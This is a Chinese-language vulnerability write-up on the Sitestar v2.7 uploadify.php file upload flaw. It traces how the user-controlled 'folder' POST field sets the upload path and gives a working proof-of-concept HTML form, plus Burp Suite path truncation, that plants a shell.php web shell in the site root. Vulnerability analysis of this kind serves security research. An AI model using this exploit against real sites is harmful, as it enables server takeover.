# sitestar v2.7 /uploadify.php 文件上传漏洞
1.漏洞分析
建站之星 存在文件上传漏洞,漏洞出现在
/script/multiupload/uploadify.php 51行---
```
if (!empty($_FILES) && in_array($file_ext,$ext_arr)) {
//echo '2222';
$tempFile = $_FILES['Filedata']['tmp_name'];
$targetPath = $_SERVER['DOCUMENT_ROOT'] . $path . '/';
//echo $targetPath;
$imgfile = str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];
// 解决Windows中文文件名乱码
if (preg_match("/^WIN/i", PHP_OS)) {
$imgfile = iconv('UTF-8', 'GBK', $imgfile);
}
move_uploaded_file($tempFile, $imgfile);
ParamParser::fire_virus($imgfile);
function img_restruck($imgfile_name,$root, $path = 'upload/image/') {
define('SSFCK', 1);
define('SSROOT', $root)p;
include_once($root.'/library/image.func.php');
$fullfilename = SSROOT."/$path".$imgfile_name;
WaterImg($fullfilename, 'up');
}
if($WATERMARK_STATUS) img_restruck($_FILES['Filedata']['name'],$root);
echo "1";
}
```
往往出现文件上传漏洞不是文件名可控,就是路径可控(低级的文件上传不包括在内)
看看文件名 是否可控
搜索move_uploaded_file函数,往前看...
```
move_uploaded_file($tempFile, $imgfile);
```
我们跟上$imgfile
```
$imgfile = str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];
```
$_FILES['Filedata']['name']貌似我们可以控制,继续...
```
$_FILES['Filedata']['name'] = date("YmdHis") . '_' . rand(10, 99) . '.' . $file_ext;
```
看见了吧,原来我们不可控.好吧 那我们继续看另一个:路径是否可控
```
$imgfile = str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];
```
跟上$targetPath
```
$targetPath = $_SERVER['DOCUMENT_ROOT'] . $path . '/';
```
看看 $path 怎么来的,本文件第14行:
```
list($path, $target) = explode("|", $_POST['folder']);
```
看见了吧? $_POST['folder'] 是我们完全可以控制的
既然可控 看一下如何利用
将如下代码保存为Upload.htm
```
<html>
<body>
<form id="frmUpload" action="http://127.0.0.1/sitestar/script/multiupload/uploadify.php?" method="post" enctype="multipart/form-data" >
<input type="file" name="Filedata" id="Filedata">
<input name="folder" type="hidden" value="/shell.php.jpg|shell.jpg">
<input id="btnUpload" type="submit" value="Upload">
</form>
</body>
</html>
```
访问Upload.htm,采用Burpsuite抓包截断

点击Forward,就可在根目录下生成shell.php

可以看到成功上传了shell
暂无评论